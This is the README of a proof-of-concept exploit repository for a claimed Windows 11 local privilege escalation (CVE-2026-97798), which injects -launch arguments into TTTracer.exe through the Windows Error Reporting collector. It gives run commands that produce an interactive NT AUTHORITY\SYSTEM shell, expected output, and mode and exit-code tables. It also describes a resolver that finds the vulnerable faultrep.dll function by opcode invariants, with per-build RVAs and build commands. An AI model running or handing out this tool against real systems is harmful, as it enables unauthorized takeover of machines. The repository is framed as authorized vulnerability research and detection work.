
CVE-2026-97798 PoC — WER Time Travel Debugging argument injection to SYSTEM (Windows 11 LPE), with an adaptive faultrep.dll resolver.
Authorized laboratory use only. This repository is for vulnerability research, exploit validation and detection engineering inside disposable Windows virtual machines that you own or are explicitly authorized to test. See LICENSE.
An unprivileged local caller can preserve attacker-controlled command-line syntax
across the Windows Error Reporting (WER) privilege boundary. The elevated WER
collector later formats that string into a TTTracer.exe command line without
preserving argument boundaries, so injected -out / -launch switches are
interpreted by the Time Travel Debugging recorder and an attacker-selected
executable is launched with the collector's elevated token.
The result is a local privilege escalation from a standard user (and from a
UAC-filtered administrator) to NT AUTHORITY\SYSTEM.
low / medium-integrity process
-> faultrep.dll!CElevatedDataCollection::ControlTimeTravelDebugging
-> faultrep.dll!SpawnDataCollector
-> Windows Error Reporting service (elevated collector)
-> CDataCollection::ControlTimeTravelDebugging
-> TtdControl::LaunchRecordingProcess
-> TTTracer.exe / TTDRecord.dll command-line parser
-> attacker-controlled -launch target
This is an argument injection issue (CWE-88), not a shell command injection: no
cmd.exe /c is involved at the vulnerable sink.
| Path | Description |
|---|---|
bin/CVE-2026-97798.exe | Adaptive PoC, lean build: exploit, --resolve, --stop-ttd |
bin/CVE-2026-97798-diag.exe | Same code plus --diagnose and --sweep troubleshooting modes |
src/CVE-2026-97798.cpp | Single source for both binaries (-DCVE97798_LEAN selects the lean build) |
build.ps1 | Builds both binaries with LLVM-MinGW or MinGW-w64 and prints SHA-256 |
docs/TROUBLESHOOTING.md | Rejections such as 0x80070032, and how to tell them apart |
README.es.md | Spanish version of this document |
Both binaries are one self-contained x64 image (statically linked, no runtime
dependency) that re-enters itself in several internal modes. At runtime it
stages two aliases of that same image under
C:\Users\Public\Documents\CVE97798\: one for the integrated console client and
one for the elevated payload. No extra DLL, script or cmd.exe is required.
Use a disposable snapshot of a vulnerable build. From a non-elevated PowerShell or Command Prompt — the PoC must not run elevated:
# 1. optional: try to clear leftover recorder state from an earlier attempt
# (see "Recorder cleanup" below: without admin this only reports what is stuck)
.\bin\CVE-2026-97798.exe --stop-ttd
# 2. run it; on success you get an interactive SYSTEM shell
.\bin\CVE-2026-97798.exe
Expected output of the integrated console:
[CVE-2026-97798] Exploit shell token:
nt authority\system
Machine-readable proof is written to:
C:\Users\Public\Documents\CVE97798\system-proof.txt
Examples of the proof file from a filtered-administrator run:
cve=CVE-2026-97798
user=NT AUTHORITY\SYSTEM
is_system=true
is_elevated=true
payload_session=0
shell_session=0
spawn_error=0
A second execution fails with HRESULT 0x80070032 while the recorder from the
first run is still alive. Close the PoC console, clean up (see
Cleanup), then retry.
| Command | Binary | Effect |
|---|---|---|
| (no arguments) | both | Full exploit: integrated console + elevated payload + SYSTEM shell |
--marker | both | Only write system-proof.txt, no interactive shell |
--external-console | both | Payload without the integrated console client |
--resolve <dll> | both | Resolver self-test against an offline faultrep.dll; sends nothing |
--stop-ttd | both | Best-effort recorder cleanup: terminates what it can, empties the trace directory, and reports exactly why a leftover recorder survived (usually: it is owned by SYSTEM) |
--cleanup-system | both | Remove elevated leftovers of the PoC itself |
--diagnose | diag | Precondition report: versions, live recorders, trace leftovers, TTD/WER policy, collector vtable |
--sweep | diag | Replay 7 request shapes through ControlTimeTravelDebugging, printing each HRESULT |
Exit codes: 0 success · 2 usage · 3/4/5 lab preparation · 40/41 COM/faultrep.dll ·
42 resolver rejected the image · 43 SpawnDataCollector failed · 44
CoSetProxyBlanket · 45 request rejected by ControlTimeTravelDebugging · 46 marker is
not SYSTEM · 47 console terminated · 48 marker timeout · 49 DLL not mappable · 50
no unique resolver candidate · 51/52 TTTracer failure in --cleanup-system.
The binaries embed no build-specific RVA. At runtime the loaded
faultrep.dll is parsed through its own PE64 exception table
(IMAGE_DIRECTORY_ENTRY_EXCEPTION), and every function containing the WER
collector opcode is scored on four protocol invariants:
| Invariant | Value | Points |
|---|---|---|
| collector opcode, exactly once | 0xD0000002 | 2 |
| request/message size immediate | 0x578 (1..4 occurrences) | 1 |
| recorder wait timeout | 10000 ms (1..2 occurrences) | 1 |
| reply marker, exactly once | 0xD0000000 | 1 |
A function is only accepted at 5/5, inside a plausible size band
(0x300..0x2000), and only if it is the unique accepted candidate in the
image. Anything else is rejected instead of being called speculatively, so an
unseen or shifted build produces a clean refusal (exit 42/50) rather than a
crash. The score profile is printed so the shape of the build is visible:
.\bin\CVE-2026-97798.exe --resolve C:\Windows\System32\faultrep.dll
# SpawnDataCollector RVA=0x4498c profile=multi-header score=5/5
multi-header means the build keeps two 0x578 immediates (two request paths);
single-header means one. Both are accepted.
| Component | Value |
|---|---|
| OS | Windows 11 24H2 x64, build 26100.9550 |
Vulnerable faultrep.dll | 10.0.26100.9549 (resolver RVA 0x4CEB0) |
| Additional validated build | Windows 11 22H2, build 22621.525, faultrep.dll 10.0.22621.1408 (resolver RVA 0x4498C, profile multi-header) |
| Fixed comparison | faultrep.dll 10.0.26100.9711 (resolver RVA 0x4E40C) |
| TTTracer / TTDRecord | 1.11.580.0 |
Windows 11 22H2 is out of support and is not listed among the affected products in MSRC guidance; it still contains the vulnerable collector, but the recorder shipped with it may not accept every request shape. See docs/TROUBLESHOOTING.md before assuming a failure is the PoC's fault.
Requirements: an x64 toolchain able to produce a static PE, either LLVM-MinGW or MinGW-w64.
.\build.ps1
# or point at the compiler explicitly
.\build.ps1 -Compiler C:\toolchains\llvm-mingw\bin\x86_64-w64-mingw32-clang++.exe
The script builds the lean binary with -DCVE97798_LEAN, builds the diagnostic
binary from the same source, strips symbols when a strip tool is available, and
prints SHA-256 for both. Builds are static and suppress the PE linker
timestamp, so identical source plus toolchain produce an identical hash.
Manual equivalent:
$flags = "-std=c++20 -O2 -static -municode -Wall -Wextra -Wno-unused-parameter -Wl,--no-insert-timestamp"
$libs = "-lole32 -loleaut32 -ladvapi32 -lversion"
x86_64-w64-mingw32-g++ $flags.Split() -DCVE97798_LEAN src/CVE-2026-97798.cpp -o bin/CVE-2026-97798.exe $libs.Split()
x86_64-w64-mingw32-g++ $flags.Split() src/CVE-2026-97798.cpp -o bin/CVE-2026-97798-diag.exe $libs.Split()